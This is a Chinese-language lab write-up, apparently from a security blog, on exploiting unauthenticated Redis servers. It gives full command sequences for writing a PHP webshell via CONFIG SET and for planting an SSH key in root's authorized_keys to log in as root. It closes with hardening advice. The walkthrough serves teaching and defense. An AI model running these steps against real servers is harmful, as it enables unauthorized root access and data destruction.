耳双
- 关注
Redis未授权访问
介绍:
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis支持数据持久化,可以将内存中的数据保存在磁盘中,重启可以再次加载使用。
Redis不能进提供key-value存储结构,还提供list、set、zset、hash等数据存储结构。
Redis支持数据备份,即master-slave模式的数据备份。
通过身份认证便可访问到内部数据,造成敏感信息泄露,也可执行flushall来清空所有的数据。如果redis以root身份运行,可以给root账户写入ssh公钥文件,直接通过ssh登录受害者机器。
redis默认是没有密码的。
环境:
攻击机:kali 2020 IP:192.168.1.56
靶机: ubantu IP:192.168.1.42
攻击机与靶机都要有redis环境,这里我用的Redis 2.8.17
漏洞复现:
0x01 利用redis写webshell
首先在靶机开启redis环境。
sudo redis-server /etc/redis.conf
当前我们已经知道靶机的IP地址,然后在攻击机中执行下面的命令,尝试进行连接。
redis-cli -h 192.168.1.42
可以看到已经连接成功了。接着执行下面的命令。
config set dir /home/ershuang #这里的/home/ershuang可以是其他路径但必须是存在的路径,否则会返回错误
config get dir #查看信息
config set dbfilename redis.php
set webshell "<?php phpinfo()?>"
save
现在到靶机中我们写入webshell的路径下查看是否写入成功。
这里可以看到已经写入成功了。
0x02 redis利用ssh进行登录访问
这个问题有一个前提,是靶机中需要有ssh公钥存储目录并且redis是以root身份登录。靶机可以使用mkdir /root/.ssh来创建公钥存储目录。
在攻击机中执行下面的命令来生成一个没有登录密码的ssh公钥。
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt #将生成的公钥保存到1.txt中
cat 1.txt | redis-cli -h 192.168.1.42 -x set crack #将保存ssh公钥的1.txt写入到redis中
redis-cli -h 192.168.1.42 #远程访问靶机
config get dir #得到备份路径
config set dir /root/.ssh #更改redis备份路径为ssh公钥存放路径
config set dbfilename authorized_keys #设置上传公钥的备份文件为authorized_keys
config get dbfilename #检查是否更改成功
save
exit
ssh -i id_rsa root@192.168.1.42 #在攻击机上使用ssh免密登录把靶机
ipconfig
加固修复建议:
1、设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"设置复杂密码(需要重启redis服务才能生效)
2、对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接redis服务器
3、禁用config指令避免恶意操作,在redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config指令加大难度
4、redis使用普通用户权限,禁止root权限启动redis服务,这样可以保证在存在漏洞的情况下攻击者只能获取普通用户权限,无法获得root权限。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)